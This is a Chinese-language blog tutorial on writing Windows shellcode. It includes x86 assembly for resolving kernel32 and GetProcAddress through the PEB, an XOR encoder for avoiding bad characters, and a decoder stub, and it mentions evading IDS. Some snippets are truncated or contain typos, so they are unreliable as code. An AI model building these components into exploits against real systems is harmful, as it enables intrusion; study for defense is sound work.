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Shellcode技术杂谈

2014年03月08日 ⁄ 综合 ⁄ 共 5863字 ⁄ 字号 评论关闭

Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的
主机有用武之地。网络上数以万计带着漏洞顽强运行着的服务器给hacker和Vxer丰盛的晚餐。漏洞利用中最关键的是
Shellcode的编写。由于漏洞发现者在漏洞发现之初并不会给出完整Shellcode,因此掌握Shellcode编写技术就显得
尤为重要。
        小弟经过一段时间的修炼,自以为对Shellcode小有心得,故在这里写出来,博君一笑。不当之处,还请各位高人
不吝指教。
                                        什么是Shellcode
        我在这里简单讲一下什么是Shellcode。Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器
利用特定漏洞的代码,一般可以获取权限。另外,Shellcode一般是作为数据发送给受攻击服务的。
                                        Shellcode编写考虑因素
        Shellcode一般作为数据发送给服务端造成溢出,不同数据对数据要求不同,因此,Shellcode也不一定相同。但
Shellcode在编写过程中,有些问题是一致的:
        ⒈Shellcode的编写语言。
        用什么语言编写最适合Shellcode呢?这个问题没有定论。一般采用的是C语言,速度较快,但是ASM更便于控制
Shellcode的生成。到底是快速编写还是完全控制呢?很难回答呢。
        ⒉Shellcode本身代码的重定位。Shellcode的流程控制,即如何通过溢出使控制权落在Shellcode手中
        ⒊。Shellcode中使用的API地址定位。
        ⒋Shellcode编码问题。
        ⒌多态技术躲避IDS检测。
        现在我们就来研究这些问题在处理时常用的方法。
                                        Shellcode编写技术
        ⒈Shellcode编写语言
        Shellcode本质上可以使用任何编程语言,但我们需要的是提取其中的机器码。Shellcode使用汇编语言编写是最
具可控性的,因为我们完全可以通过指令控制代码生成,缺点就是需要大量的时间,而且还要你深入了解汇编。如果你
想追求速度,C是不错的选择。C语言编写起来较为省力,但Shellcode提取较为复杂,不过,一旦写好模板,就省事许
多。例如,这里有一个写好的模板:

        void Shellcode()
       {
           __asm
       {
           nop
           nop
           nop
           nop
           nop
           nop
           nop
           nop
        }
        }

        然后在main()中用函数指针操作和memcmp定位shellcode,用pintf之类函数将shellcode打出来或保存即可。示
例代码略。纵观当前shellcode,大部分是由C完成的,因此,想来大家已经取舍完了吧?
        ⒉Shellcode代码地址定位,获取程序EIP。
        为什么要获取EIP呢?原因是,我们需要我们的Shellcode能够执行,对病毒技术有了解的话,应该知道他们是怎么
定位的:利用CALL/POP来实现。
        这里就不得不提到两种方法:JMP ESP和CALL/POP EBX。这是人们在对windows系统熟悉之后的方法,成功率非常
高。相信看过王炜兄的教程的朋友应该有印象吧。这里我就简单说一下。
        我们的方法时通过Shellcode地址覆盖返回地址,在溢出后即可跳转到我们的代码中,以获取权限。而Shellcode
在内存中的地址并不固定,因此我们利用系统的DLL文件中的JMP ESP或CALL ESP、CALL EBP来实现对Shellcode地址
的间接跳转。这样有两个好处,一是不必准确定位Shellcode地址;二是可以防止strcpy对00字节的截断,因为DLL文
件中,地址一般为7FXXXXXX。具体细节,网上已有相关的东东,大家自己找来看看吧。
        ⒊Shellcode中的API地址定位。
        Shellcode代码的运行环境和病毒在某些方面是类似的,由于系统不同,Api的地址也不尽相同。因此,要想让
Shellcode在不同Windows下运行就必须解决Api的定位问题。API定位的关键是了解Windows DLL映像文件格式,即PE
文件格式,然后通过搜索函数的Export表获取API地址。定位方法有暴力搜索法、从进程PEB中获取和遍历SEH链法。我
们这里使用从进程PEB中获取,示例代码如下:

__asm
            {
                    push ebp;
                    sub      esp, 0x40;
                    mov      ebp,esp;

                    push ebp;
                            mov eax, fs:0x30                            ;PEB
                            mov eax, [eax + 0x0c]                            ;Ldr
                            mov esi, [eax + 0x1c]                            ;Flink
                            lodsd                
                            mov edi, [eax + 0x08]                            ;edi就是kernel32.dll的地址
                        
                            mov             eax, [edi+3Ch]                    ;eax = PE首部
                            mov             edx,[edi+eax+78h]
                            add             edx,edi                            ;edx = 输出表地址
                            mov             ecx,[edx+18h]                    ;ecx = 输出函数的个数
                mov             ebx,[edx+20h]                                 
                            add             ebx,edi                            ;ebx =函数名地址,AddressOfName
search:
                            dec             ecx
                            mov             esi,[ebx+ecx*4]                                
                            add             esi,edi                            ;依次找每个函数名称
                            ;GetProcAddress
                            mov                            eax,0x50746547
                            cmp                            [esi],            eax;            'PteG'
                            jne                    search
                            mov                            eax,0x41636f72
                            cmp                            [esi+4],eax;            'Acor'
                            jne                    search                                
                        
                            ;如果是GetProcA,表示找到了                
                mov             ebx,[edx+24h]
                            add             ebx,edi                            ;ebx = 索引号地址,AddressOf
                            mov             cx,[ebx+ecx*2]                    ;ecx = 计算出的索引号值
                mov             ebx,[edx+1Ch]
                            add             ebx,edi                            ;ebx = 函数地址的起始位置,AddressOfFunction
                            mov             eax,[ebx+ecx*4]                        
                            add             eax,edi                            ;利用索引值,计算出GetProcAddress的地址

                            mov            [ebp+40h], eax                                    ;把GetProcAddress的地址存在 ebp+40中

        接下来是使用GetProcAddress()和LoadLibraryA()获取其他需要函数了,和C没什么两样,略过了吧,很累呢。
        ⒋Shellcode的编码问题。
        写过Shellcode的兄弟对这个应该恨熟吧?例如:strcpy函数中不能有0x00,RPC DOCM溢出时不能用0x5c等等。
因为假如有这些字符,会导致服务中断Shellcode,溢出失败。不同溢出对shellcode要求不同,当然需要精选字符来
达到目的,这样太累了些,简单点就是写一段代码,示例如下:

      for(i=0;i         ch=sc_buff^Enc_key;
         //对可能字符进行替换
         if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='//'||ch=='0'||ch=='?'||ch=='%'||ch=='+')
         {
              buff='0';
              ++k;
              ch+=0x31;
          }
         //将编码Code放在DecryptSc后
         buff[k]=ch;
         ++k;
        }
        解码时代码 解码时代码,示例如下:
         jmp       next
getEncodeAddr:
         pop       edi
         push       edi
         pop        esi
         xor        ecx,ecx
Decrypt_lop:
         loasb
         cmp       al,cl
         jz        shell
         cmp       al,0x30      //判断是否为特殊字符
         jz        specal_char_clean
store:
         xor       al,Enc_key
         stosb
         jmp       Decrypt_lop
special_char_clean:
         lodsb
         sub       al,0x31
         jmp       store
next:
         call      getEncodeAddr

        这里只给了一个简单的例子,面对对Unicode编码有要求的,限于篇幅,这里就不详解了。
                                                  写在最后
        编写调试Shellcode很是辛苦,但完成之后却有巨大的成就感。这里不是教你做EXP去害人,只是从研究角度出发,
让大家了解这种技术,从而加以防范,为网络和平安宁奉献自己的力量。最后,我附带了一个作为示例的Shellcode代
码,大家可以参考Sample.cpp来看看。

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